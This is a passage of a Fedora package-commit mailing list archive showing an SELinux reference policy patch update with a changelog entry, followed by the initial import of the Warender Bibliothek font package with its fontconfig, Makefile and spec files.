 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/mta.fc serefpolicy-3.6.32/policy/modules/services/mta.fc
 --- nsaserefpolicy/policy/modules/services/mta.fc	2009-07-29 15:15:33.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/mta.fc	2009-09-30 16:12:48.000000000 -0400
@@ -13826,8 +14048,25 @@ diff -b -B --ignore-all-space --exclude-
 +/root/\.forward		--	gen_context(system_u:object_r:mail_forward_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/mta.if serefpolicy-3.6.32/policy/modules/services/mta.if
 --- nsaserefpolicy/policy/modules/services/mta.if	2009-07-29 15:15:33.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/mta.if	2009-10-07 16:49:03.000000000 -0400
-@@ -311,6 +311,7 @@
++++ serefpolicy-3.6.32/policy/modules/services/mta.if	2009-10-19 14:29:57.000000000 -0400
+@@ -69,6 +69,7 @@
+ 	can_exec($1_mail_t, sendmail_exec_t)
+ 	allow $1_mail_t sendmail_exec_t:lnk_file read_lnk_file_perms;
+ 
++	kernel_read_system_state($1_mail_t)
+ 	kernel_read_kernel_sysctls($1_mail_t)
+ 
+ 	corenet_all_recvfrom_unlabeled($1_mail_t)
+@@ -87,6 +88,8 @@
+ 	# It wants to check for nscd
+ 	files_dontaudit_search_pids($1_mail_t)
+ 
++	init_dontaudit_rw_utmp($1_mail_t)
++
+ 	auth_use_nsswitch($1_mail_t)
+ 
+ 	logging_send_syslog_msg($1_mail_t)
+@@ -311,6 +314,7 @@
  	allow $1 mail_spool_t:dir list_dir_perms;
  	create_files_pattern($1, mail_spool_t, mail_spool_t)
  	read_files_pattern($1, mail_spool_t, mail_spool_t)
@@ -13835,7 +14074,7 @@ diff -b -B --ignore-all-space --exclude-
  	create_lnk_files_pattern($1, mail_spool_t, mail_spool_t)
  	read_lnk_files_pattern($1, mail_spool_t, mail_spool_t)
  
-@@ -351,6 +352,7 @@
+@@ -351,6 +355,7 @@
  		# apache should set close-on-exec
  		apache_dontaudit_rw_stream_sockets($1)
  		apache_dontaudit_rw_sys_script_stream_sockets($1)
@@ -13843,7 +14082,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -470,7 +472,8 @@
+@@ -470,7 +475,8 @@
  		type etc_mail_t;
  	')
  
@@ -13853,7 +14092,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -694,7 +697,7 @@
+@@ -694,7 +700,7 @@
  	files_search_spool($1)
  	allow $1 mail_spool_t:dir list_dir_perms;
  	allow $1 mail_spool_t:file setattr;
@@ -13864,7 +14103,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/mta.te serefpolicy-3.6.32/policy/modules/services/mta.te
 --- nsaserefpolicy/policy/modules/services/mta.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/mta.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/mta.te	2009-10-19 14:29:50.000000000 -0400
 @@ -27,6 +27,9 @@
  type mail_spool_t;
  files_mountpoint(mail_spool_t)
@@ -13875,19 +14114,19 @@ diff -b -B --ignore-all-space --exclude-
  type sendmail_exec_t;
  mta_agent_executable(sendmail_exec_t)
  
-@@ -57,8 +60,11 @@
+@@ -57,8 +60,10 @@
  
  can_exec(system_mail_t, mta_exec_type)
  
+-kernel_read_system_state(system_mail_t)
 +files_read_all_tmp_files(system_mail_t)
 +
- kernel_read_system_state(system_mail_t)
  kernel_read_network_state(system_mail_t)
 +kernel_request_load_module(system_mail_t)
  
  dev_read_sysfs(system_mail_t)
  dev_read_rand(system_mail_t)
-@@ -72,16 +78,21 @@
+@@ -72,16 +77,21 @@
  
  userdom_use_user_terminals(system_mail_t)
  userdom_dontaudit_search_user_home_dirs(system_mail_t)
@@ -13909,7 +14148,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -100,6 +111,7 @@
+@@ -100,6 +110,7 @@
  optional_policy(`
  	cron_read_system_job_tmp_files(system_mail_t)
  	cron_dontaudit_write_pipes(system_mail_t)
@@ -13917,7 +14156,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -178,6 +190,10 @@
+@@ -178,6 +189,10 @@
  ')
  
  optional_policy(`
@@ -13928,7 +14167,7 @@ diff -b -B --ignore-all-space --exclude-
  	smartmon_read_tmp_files(system_mail_t)
  ')
  
-@@ -197,6 +213,25 @@
+@@ -197,6 +212,25 @@
  	')
  ')
  
@@ -15729,8 +15968,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/plymouth.te serefpolicy-3.6.32/policy/modules/services/plymouth.te
 --- nsaserefpolicy/policy/modules/services/plymouth.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-14 11:18:02.000000000 -0400
-@@ -0,0 +1,95 @@
++++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-18 12:52:36.000000000 -0400
+@@ -0,0 +1,96 @@
 +policy_module(plymouthd, 1.0.0)
 +
 +########################################
@@ -15776,6 +16015,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 +kernel_read_system_state(plymouthd_t)
 +kernel_request_load_module(plymouthd_t)
++kernel_change_ring_buffer_level(plymouthd_t)
 +
 +dev_rw_dri(plymouthd_t)
 +dev_read_sysfs(plymouthd_t)
@@ -20896,6 +21136,15 @@ diff -b -B --ignore-all-space --exclude-
  logging_log_filetrans(sysstat_t, sysstat_log_t, { file dir })
  
  # get info from /proc
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/tftp.fc serefpolicy-3.6.32/policy/modules/services/tftp.fc
+--- nsaserefpolicy/policy/modules/services/tftp.fc	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/tftp.fc	2009-10-16 08:44:49.000000000 -0400
+@@ -5,4 +5,4 @@
+ /tftpboot		-d	gen_context(system_u:object_r:tftpdir_t,s0)
+ /tftpboot/.*			gen_context(system_u:object_r:tftpdir_t,s0)
+ 
+-/var/lib/tftpboot(/.*)?		gen_context(system_u:object_r:tftpdir_t,s0)
++/var/lib/tftpboot(/.*)?		gen_context(system_u:object_r:tftpdir_rw_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/uucp.te serefpolicy-3.6.32/policy/modules/services/uucp.te
 --- nsaserefpolicy/policy/modules/services/uucp.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/uucp.te	2009-09-30 16:12:48.000000000 -0400
@@ -23542,7 +23791,7 @@ diff -b -B --ignore-all-space --exclude-
  # /var
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/init.if serefpolicy-3.6.32/policy/modules/system/init.if
 --- nsaserefpolicy/policy/modules/system/init.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/init.if	2009-10-01 17:11:27.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/init.if	2009-10-19 14:27:28.000000000 -0400
 @@ -174,6 +174,7 @@
  	role system_r types $1;
  
@@ -26644,7 +26893,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/selinuxutil.te serefpolicy-3.6.32/policy/modules/system/selinuxutil.te
 --- nsaserefpolicy/policy/modules/system/selinuxutil.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/selinuxutil.te	2009-10-08 12:25:39.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/selinuxutil.te	2009-10-18 12:56:30.000000000 -0400
 @@ -23,6 +23,9 @@
  type selinux_config_t;
  files_type(selinux_config_t)
@@ -26742,7 +26991,16 @@ diff -b -B --ignore-all-space --exclude-
  # for some PAM modules and for cwd
  userdom_dontaudit_search_user_home_content(newrole_t)
  userdom_search_user_home_dirs(newrole_t)
-@@ -336,6 +342,8 @@
+@@ -313,6 +319,8 @@
+ kernel_rw_pipes(restorecond_t)
+ kernel_read_system_state(restorecond_t)
+ 
++files_dontaudit_read_all_symlinks(restorecond_t)
++
+ fs_relabelfrom_noxattr_fs(restorecond_t)
+ fs_dontaudit_list_nfs(restorecond_t)
+ fs_getattr_xattr_fs(restorecond_t)
+@@ -336,6 +344,8 @@
  
  seutil_libselinux_linked(restorecond_t)
  
@@ -26751,7 +27009,7 @@ diff -b -B --ignore-all-space --exclude-
  ifdef(`distro_ubuntu',`
  	optional_policy(`
  		unconfined_domain(restorecond_t)
-@@ -354,7 +362,7 @@
+@@ -354,7 +364,7 @@
  allow run_init_t self:process setexec;
  allow run_init_t self:capability setuid;
  allow run_init_t self:fifo_file rw_file_perms;
@@ -26760,7 +27018,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # often the administrator runs such programs from a directory that is owned
  # by a different user or has restrictive SE permissions, do not want to audit
-@@ -383,7 +391,6 @@
+@@ -383,7 +393,6 @@
  
  auth_use_nsswitch(run_init_t)
  auth_domtrans_chk_passwd(run_init_t)
@@ -26768,7 +27026,7 @@ diff -b -B --ignore-all-space --exclude-
  auth_dontaudit_read_shadow(run_init_t)
  
  init_spec_domtrans_script(run_init_t)
-@@ -406,6 +413,10 @@
+@@ -406,6 +415,10 @@
  	')
  ')
  
@@ -26779,7 +27037,7 @@ diff -b -B --ignore-all-space --exclude-
  ifdef(`distro_ubuntu',`
  	optional_policy(`
  		unconfined_domain(run_init_t)
-@@ -421,61 +432,22 @@
+@@ -421,61 +434,22 @@
  # semodule local policy
  #
  
@@ -26787,13 +27045,9 @@ diff -b -B --ignore-all-space --exclude-
 -allow semanage_t self:unix_stream_socket create_stream_socket_perms;
 -allow semanage_t self:unix_dgram_socket create_socket_perms;
 -allow semanage_t self:netlink_audit_socket { create_netlink_socket_perms nlmsg_relay };
-+seutil_semanage_policy(semanage_t)
-+allow semanage_t self:fifo_file rw_fifo_file_perms;
- 
+-
 -allow semanage_t policy_config_t:file rw_file_perms;
-+manage_dirs_pattern(semanage_t, selinux_var_lib_t,  selinux_var_lib_t)
-+manage_files_pattern(semanage_t, selinux_var_lib_t,  selinux_var_lib_t)
- 
+-
 -allow semanage_t semanage_tmp_t:dir manage_dir_perms;
 -allow semanage_t semanage_tmp_t:file manage_file_perms;
 -files_tmp_filetrans(semanage_t, semanage_tmp_t, { file dir })
@@ -26804,9 +27058,13 @@ diff -b -B --ignore-all-space --exclude-
 -corecmd_exec_bin(semanage_t)
 -
 -dev_read_urand(semanage_t)
--
++seutil_semanage_policy(semanage_t)
++allow semanage_t self:fifo_file rw_fifo_file_perms;
+ 
 -domain_use_interactive_fds(semanage_t)
--
++manage_dirs_pattern(semanage_t, selinux_var_lib_t,  selinux_var_lib_t)
++manage_files_pattern(semanage_t, selinux_var_lib_t,  selinux_var_lib_t)
+ 
 -files_read_etc_files(semanage_t)
 -files_read_etc_runtime_files(semanage_t)
 -files_read_usr_files(semanage_t)
@@ -26828,13 +27086,13 @@ diff -b -B --ignore-all-space --exclude-
 -auth_use_nsswitch(semanage_t)
 -
 -locallogin_use_fds(semanage_t)
-+# Admins are creating pp files in random locations
-+auth_read_all_files_except_shadow(semanage_t)
- 
+-
 -logging_send_syslog_msg(semanage_t)
 -
 -miscfiles_read_localization(semanage_t)
--
++# Admins are creating pp files in random locations
++auth_read_all_files_except_shadow(semanage_t)
+ 
 -seutil_libselinux_linked(semanage_t)
  seutil_manage_file_contexts(semanage_t)
  seutil_manage_config(semanage_t)
@@ -26849,7 +27107,7 @@ diff -b -B --ignore-all-space --exclude-
  # netfilter_contexts:
  seutil_manage_default_contexts(semanage_t)
  
-@@ -484,12 +456,23 @@
+@@ -484,12 +458,23 @@
  	files_read_var_lib_symlinks(semanage_t)
  ')
  
@@ -26873,7 +27131,7 @@ diff -b -B --ignore-all-space --exclude-
  # cjp: need a more general way to handle this:
  ifdef(`enable_mls',`
  	# read secadm tmp files
-@@ -499,111 +482,41 @@
+@@ -499,111 +484,41 @@
  	userdom_read_user_tmp_files(semanage_t)
  ')
  
@@ -28394,7 +28652,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-15 12:42:02.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-19 14:14:08.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -29266,15 +29524,16 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -826,6 +879,7 @@
+@@ -826,6 +879,8 @@
  	')
  
  	userdom_login_user_template($1)
 +	allow $1_t self:netlink_kobject_uevent_socket create_socket_perms;
++	dontaudit $1_t self:netlink_audit_socket create_socket_perms;
  
  	typeattribute $1_t unpriv_userdomain;
  	domain_interactive_fd($1_t)
-@@ -835,6 +889,32 @@
+@@ -835,6 +890,32 @@
  	# Local policy
  	#
  
@@ -29307,7 +29566,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		loadkeys_run($1_t,$1_r)
  	')
-@@ -865,51 +945,83 @@
+@@ -865,51 +946,83 @@
  
  	userdom_restricted_user_template($1)
  
@@ -29404,7 +29663,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -943,8 +1055,8 @@
+@@ -943,8 +1056,8 @@
  	# Declarations
  	#
  
@@ -29414,7 +29673,7 @@ diff -b -B --ignore-all-space --exclude-
  	userdom_common_user_template($1)
  
  	##############################
-@@ -953,58 +1065,67 @@
+@@ -953,58 +1066,67 @@
  	#
  
  	# port access is audited even if dac would not have allowed it, so dontaudit it here
@@ -29512,7 +29771,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -1040,7 +1161,7 @@
+@@ -1040,7 +1162,7 @@
  template(`userdom_admin_user_template',`
  	gen_require(`
  		attribute admindomain;
@@ -29521,7 +29780,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	##############################
-@@ -1049,8 +1170,7 @@
+@@ -1049,8 +1171,7 @@
  	#
  
  	# Inherit rules for ordinary users.
@@ -29531,7 +29790,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	domain_obj_id_change_exemption($1_t)
  	role system_r types $1_t;
-@@ -1075,6 +1195,9 @@
+@@ -1075,6 +1196,9 @@
  	# Skip authentication when pam_rootok is specified.
  	allow $1_t self:passwd rootok;
  
@@ -29541,7 +29800,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_software_raid_state($1_t)
  	kernel_getattr_core_if($1_t)
  	kernel_getattr_message_if($1_t)
-@@ -1089,6 +1212,7 @@
+@@ -1089,6 +1213,7 @@
  	kernel_sigstop_unlabeled($1_t)
  	kernel_signull_unlabeled($1_t)
  	kernel_sigchld_unlabeled($1_t)
@@ -29549,7 +29808,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	corenet_tcp_bind_generic_port($1_t)
  	# allow setting up tunnels
-@@ -1096,8 +1220,6 @@
+@@ -1096,8 +1221,6 @@
  
  	dev_getattr_generic_blk_files($1_t)
  	dev_getattr_generic_chr_files($1_t)
@@ -29558,7 +29817,7 @@ diff -b -B --ignore-all-space --exclude-
  	# Allow MAKEDEV to work
  	dev_create_all_blk_files($1_t)
  	dev_create_all_chr_files($1_t)
-@@ -1124,6 +1246,8 @@
+@@ -1124,6 +1247,8 @@
  	files_exec_usr_src_files($1_t)
  
  	fs_getattr_all_fs($1_t)
@@ -29567,7 +29826,7 @@ diff -b -B --ignore-all-space --exclude-
  	fs_set_all_quotas($1_t)
  	fs_exec_noxattr($1_t)
  
-@@ -1152,20 +1276,6 @@
+@@ -1152,20 +1277,6 @@
  	# But presently necessary for installing the file_contexts file.
  	seutil_manage_bin_policy($1_t)
  
@@ -29588,7 +29847,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		postgresql_unconfined($1_t)
  	')
-@@ -1211,6 +1321,7 @@
+@@ -1211,6 +1322,7 @@
  	dev_relabel_all_dev_nodes($1)
  
  	files_create_boot_flag($1)
@@ -29596,7 +29855,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Necessary for managing /boot/efi
  	fs_manage_dos_files($1)
-@@ -1276,11 +1387,15 @@
+@@ -1276,11 +1388,15 @@
  interface(`userdom_user_home_content',`
  	gen_require(`
  		type user_home_t;
@@ -29612,7 +29871,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1391,12 +1506,13 @@
+@@ -1391,12 +1507,13 @@
  	')
  
  	allow $1 user_home_dir_t:dir search_dir_perms;
@@ -29627,7 +29886,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -1429,6 +1545,14 @@
+@@ -1429,6 +1546,14 @@
  
  	allow $1 user_home_dir_t:dir list_dir_perms;
  	files_search_home($1)
@@ -29642,7 +29901,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1444,9 +1568,11 @@
+@@ -1444,9 +1569,11 @@
  interface(`userdom_dontaudit_list_user_home_dirs',`
  	gen_require(`
  		type user_home_dir_t;
@@ -29654,7 +29913,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1629,25 @@
+@@ -1503,6 +1630,25 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -29680,7 +29939,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1722,8 @@
+@@ -1577,6 +1723,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -29689,7 +29948,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1670,6 +1817,7 @@
+@@ -1670,6 +1818,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -29697,7 +29956,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1945,32 @@
+@@ -1797,19 +1946,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -29737,7 +29996,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2005,7 @@
+@@ -1844,6 +2006,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -29745,7 +30004,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,27 +2553,7 @@
+@@ -2391,27 +2554,7 @@
  
  ########################################
  ## <summary>
@@ -29774,7 +30033,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2749,7 +2891,7 @@
+@@ -2749,7 +2892,7 @@
  
  	domain_entry_file_spec_domtrans($1, unpriv_userdomain)
  	allow unpriv_userdomain $1:fd use;
@@ -29783,7 +30042,7 @@ diff -b -B --ignore-all-space --exclude-
  	allow unpriv_userdomain $1:process sigchld;
  ')
  
-@@ -2765,11 +2907,32 @@
+@@ -2765,11 +2908,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -29818,7 +30077,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,7 +3060,25 @@
+@@ -2897,7 +3061,25 @@
  		type user_tmp_t;
  	')
  
@@ -29845,7 +30104,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2934,6 +3115,7 @@
+@@ -2934,6 +3116,7 @@
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -29853,7 +30112,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3246,559 @@
+@@ -3064,3 +3247,559 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.945
retrieving revision 1.946
diff -u -p -r1.945 -r1.946
--- selinux-policy.spec	15 Oct 2009 20:42:09 -0000	1.945
+++ selinux-policy.spec	19 Oct 2009 19:05:56 -0000	1.946
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 28%{?dist}
+Release: 29%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,11 @@ exit 0
 %endif
 
 %changelog
+* Sat Oct 17 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-29
+- Allow ccs to communicate with userdomains, and create tmpfs_t
+- Add /dev/noz* as a modem_device_t and allow modemmanager to rw it.
+- Add mapping for /var/run/lircd
+
 * Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-28
 - Allow sandbox_domain to interact with userdomain fifo_files
 



From adsllc at fedoraproject.org  Mon Oct 19 19:12:03 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Mon, 19 Oct 2009 19:12:03 +0000 (UTC)
Subject: rpms/drehatlas-warender-bibliothek-fonts/devel
	61-drehatlas-warender-bibliothek.conf, NONE,
	1.1 Makefile.warender-bibliothek, NONE,
	1.1 drehatlas-warender-bibliothek-fonts.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019191203.4ED7F11C00DC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15986/devel

Modified Files:
	.cvsignore sources 
Added Files:
	61-drehatlas-warender-bibliothek.conf 
	Makefile.warender-bibliothek 
	drehatlas-warender-bibliothek-fonts.spec import.log 
Log Message:
* Mon Oct 19 2009 Dave Ludlow <dave at adsllc.com> 1.0.1.1-1
- Initial devel checkin




--- NEW FILE 61-drehatlas-warender-bibliothek.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Warender Bibliothek</family>
    </prefer>
  </alias>
  <alias>
    <family>Warender Bibliothek</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE Makefile.warender-bibliothek ---
BASENAME=WarenderBibliothek

all: $(BASENAME).otf $(BASENAME).ttf

$(BASENAME).ttf: $(BASENAME).sfd convert-ttf.pe
	fontforge -script convert-ttf.pe

convert-ttf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-ttf.pe
	echo "Generate('$(BASENAME).ttf')" >> convert-ttf.pe

$(BASENAME).otf: $(BASENAME).sfd convert-otf.pe
	fontforge -script convert-otf.pe

convert-otf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-otf.pe
	echo "Generate('$(BASENAME).otf')" >> convert-otf.pe



--- NEW FILE drehatlas-warender-bibliothek-fonts.spec ---
%global fontname drehatlas-warender-bibliothek
%global fontconf 61-%{fontname}.conf

Name:		%{fontname}-fonts
Version:	1.0.1.1
Release:	1%{?dist}
Summary:	A Latin typeface that is decorative, surreal, and hairy
Group:		User Interface/X
License:	OFL
URL:		http://www.drehatlas.de/
Source0:	ofl-font-warenderbibliothek-%{version}.zip
Source1:	%{fontconf}
Source2:	Makefile.warender-bibliothek
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch
BuildRequires:	fontpackages-devel fontforge
Requires:	fontpackages-filesystem

%description
This font was created by Peter Schwanemann and originally based on a hand drawn
font created for a Pen & Paper RPG. Nowadays the font gets more and more
complete and should give the possibility of creating fantasy and/or decorative
logos, headings and other texts.  The font was not created to be used in body
texts, as it is too complex and not as easy to read as a simple sans serif
font.

%prep
%setup -q -c %{name}-%{version}
# Wrap the license file at 80 chars
fold -s LICENSE > LICENSE.new
touch -r LICENSE LICENSE.new
mv LICENSE.new LICENSE

%build
# A .ttf file is included, but .otf is preferred.
make -f %{SOURCE2} WarenderBibliothek.otf

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
	%{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.otf
%doc LICENSE FONTLOG

%changelog
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.1.1-1
- Initial packaging


--- NEW FILE import.log ---
drehatlas-warender-bibliothek-fonts-1_0_1_1-1_fc11:HEAD:drehatlas-warender-bibliothek-fonts-1.0.1.1-1.fc11.src.rpm:1255979443


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:54:28 -0000	1.1
+++ .cvsignore	19 Oct 2009 19:12:01 -0000	1.2
@@ -0,0 +1 @@
+ofl-font-warenderbibliothek-1.0.1.1.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:54:28 -0000	1.1
+++ sources	19 Oct 2009 19:12:02 -0000	1.2
@@ -0,0 +1 @@
+43591cfe34b1b8ba9df7fac1f51fa33b  ofl-font-warenderbibliothek-1.0.1.1.zip



From adsllc at fedoraproject.org  Mon Oct 19 19:14:25 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Mon, 19 Oct 2009 19:14:25 +0000 (UTC)
Subject: rpms/drehatlas-warender-bibliothek-fonts/F-12
	61-drehatlas-warender-bibliothek.conf, NONE,
	1.1 Makefile.warender-bibliothek, NONE,
	1.1 drehatlas-warender-bibliothek-fonts.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019191425.9E2E411C00DC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17047/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	61-drehatlas-warender-bibliothek.conf 
	Makefile.warender-bibliothek 
	drehatlas-warender-bibliothek-fonts.spec import.log 
Log Message:
* Mon Oct 19 2009 Dave Ludlow <dave at adsllc.com> 1.0.1.1-1
- Initial checkin for F12




--- NEW FILE 61-drehatlas-warender-bibliothek.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Warender Bibliothek</family>
    </prefer>
  </alias>
  <alias>
    <family>Warender Bibliothek</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE Makefile.warender-bibliothek ---
BASENAME=WarenderBibliothek

all: $(BASENAME).otf $(BASENAME).ttf

$(BASENAME).ttf: $(BASENAME).sfd convert-ttf.pe
	fontforge -script convert-ttf.pe

convert-ttf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-ttf.pe
	echo "Generate('$(BASENAME).ttf')" >> convert-ttf.pe

$(BASENAME).otf: $(BASENAME).sfd convert-otf.pe
	fontforge -script convert-otf.pe

convert-otf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-otf.pe
	echo "Generate('$(BASENAME).otf')" >> convert-otf.pe



--- NEW FILE drehatlas-warender-bibliothek-fonts.spec ---
%global fontname drehatlas-warender-bibliothek
%global fontconf 61-%{fontname}.conf

Name:		%{fontname}-fonts
Version:	1.0.1.1
Release:	1%{?dist}
Summary:	A Latin typeface that is decorative, surreal, and hairy
Group:		User Interface/X
License:	OFL
URL:		http://www.drehatlas.de/
Source0:	ofl-font-warenderbibliothek-%{version}.zip
Source1:	%{fontconf}
Source2:	Makefile.warender-bibliothek
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch
BuildRequires:	fontpackages-devel fontforge
Requires:	fontpackages-filesystem

%description
This font was created by Peter Schwanemann and originally based on a hand drawn
font created for a Pen & Paper RPG. Nowadays the font gets more and more
complete and should give the possibility of creating fantasy and/or decorative
logos, headings and other texts.  The font was not created to be used in body
texts, as it is too complex and not as easy to read as a simple sans serif
font.

